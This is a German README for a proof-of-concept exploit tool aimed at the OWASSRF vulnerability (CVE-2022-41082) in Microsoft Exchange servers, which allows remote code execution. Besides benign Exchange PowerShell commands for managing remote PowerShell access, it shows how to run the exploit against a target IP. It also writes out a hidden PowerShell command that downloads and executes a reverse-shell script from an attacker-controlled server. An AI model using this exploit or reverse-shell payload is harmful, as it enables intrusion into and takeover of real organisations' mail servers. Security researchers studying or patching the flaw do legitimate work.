
CVE-2022-41082-poc
Dieses Repository enthält ein Proof-of-Concept-Tool (PoC) zur Ausnutzung der OWASSRF-Sicherheitslücke (CVE-2022-41082) in Microsoft Exchange-Servern. Der Exploit ermöglicht es Angreifern, beliebige Befehle auf dem Server auszuführen und das System möglicherweise zu kompromittieren.
Das Tool nutzt eine OWASSRF-Sicherheitslücke, um die Authentifizierung zu umgehen und Remote-Codeausführung (RCE) auf einem Exchange-Server zu erlangen. Durch die Ausnutzung dieser Sicherheitslücke kann ein Angreifer Befehle ausführen, als wäre er ein authentifizierter Benutzer, was schwerwiegende Sicherheitsauswirkungen hat.
Stellen Sie bei der Verwendung dieses Tools bitte sicher, dass Sie dieselbe Sitzung der Exchange-Verwaltungsshell geöffnet lassen. Es ist entscheidend, den Remote-PowerShell-Zugriff für mindestens einen Benutzer zu aktivieren, nachdem Sie ihn für andere deaktiviert haben. Andernfalls verlieren Sie möglicherweise den Zugriff auf die Verwaltungsshell auf allen Exchange-Servern.
Hier sind einige nützliche PowerShell-Befehle, um zu überprüfen und zu verwalten, wer Zugriff hat:
Um zu sehen, welche Benutzer Remote-PowerShell-Zugriff haben und welche nicht, führen Sie Folgendes aus:
Get-User -ResultSize Unlimited -Filter 'RemotePowerShellEnabled -eq $true'
Get-User -ResultSize Unlimited -Filter 'RemotePowerShellEnabled -eq $false'
Warnung: Achten Sie darauf, das Fenster der Exchange-Verwaltungsshell nicht zu schließen, es sei denn, Sie fügen mindestens einen Benutzer wieder hinzu.
Sie können den PowerShell-Zugriff für alle Benutzer mit den folgenden Befehlen deaktivieren:
$user = Get-User -ResultSize Unlimited -Filter 'RemotePowerShellEnabled -eq $true'
$user | foreach {Set-User -Identity $_ -RemotePowerShellEnabled $false}
Oder verwenden Sie einen einzelnen Befehl, um dasselbe Ergebnis zu erzielen:
Get-User -ResultSize Unlimited | Set-User -RemotePowerShellEnabled $false
Um einem bestimmten Benutzer Remote-PowerShell-Zugriff zu gewähren, führen Sie Folgendes aus:
Set-User "guest" -RemotePowerShellEnabled $true
Wenn Sie den PowerShell-Zugriff für alle Benutzer verlieren, können Sie einen neuen Postfachbenutzer mit Administratorrechten erstellen. Dieser neue Benutzer umgeht die angewendeten Richtlinien und ermöglicht es Ihnen, die Exchange-Verwaltungsshell erneut zu verwenden.
pip installieren)Um das PoC-Tool auszuführen, führen Sie den folgenden Befehl aus:
python3 poc.py -H <target_IP> -u <username> -p <password> -c <command_file>
Ersetzen Sie <target_IP>, <username>, <password> und <command_file> durch Ihre jeweiligen Werte.
Sie können den Befehl in Ihrer cmd_file ändern, um ein Reverse-Shell-Payload einzufügen. Zum Beispiel:
powershell -NoP -NonI -W Hidden -Exec Bypass "IEX (New-Object Net.WebClient).DownloadString('http://your-malicious-server.com/reverse.ps1')"
Dieser Befehl lädt ein PowerShell-Skript von Ihrem Server herunter und führt es aus, wodurch Sie eine Reverse Shell erhalten.
Weitere Informationen zur OWASSRF-Sicherheitslücke und zum PoC-Code finden Sie unter dem folgenden Link: OWASSRF CVE-2022-41082 PoC und https://www.youtube.com/watch?v=c2DZYP6jc7g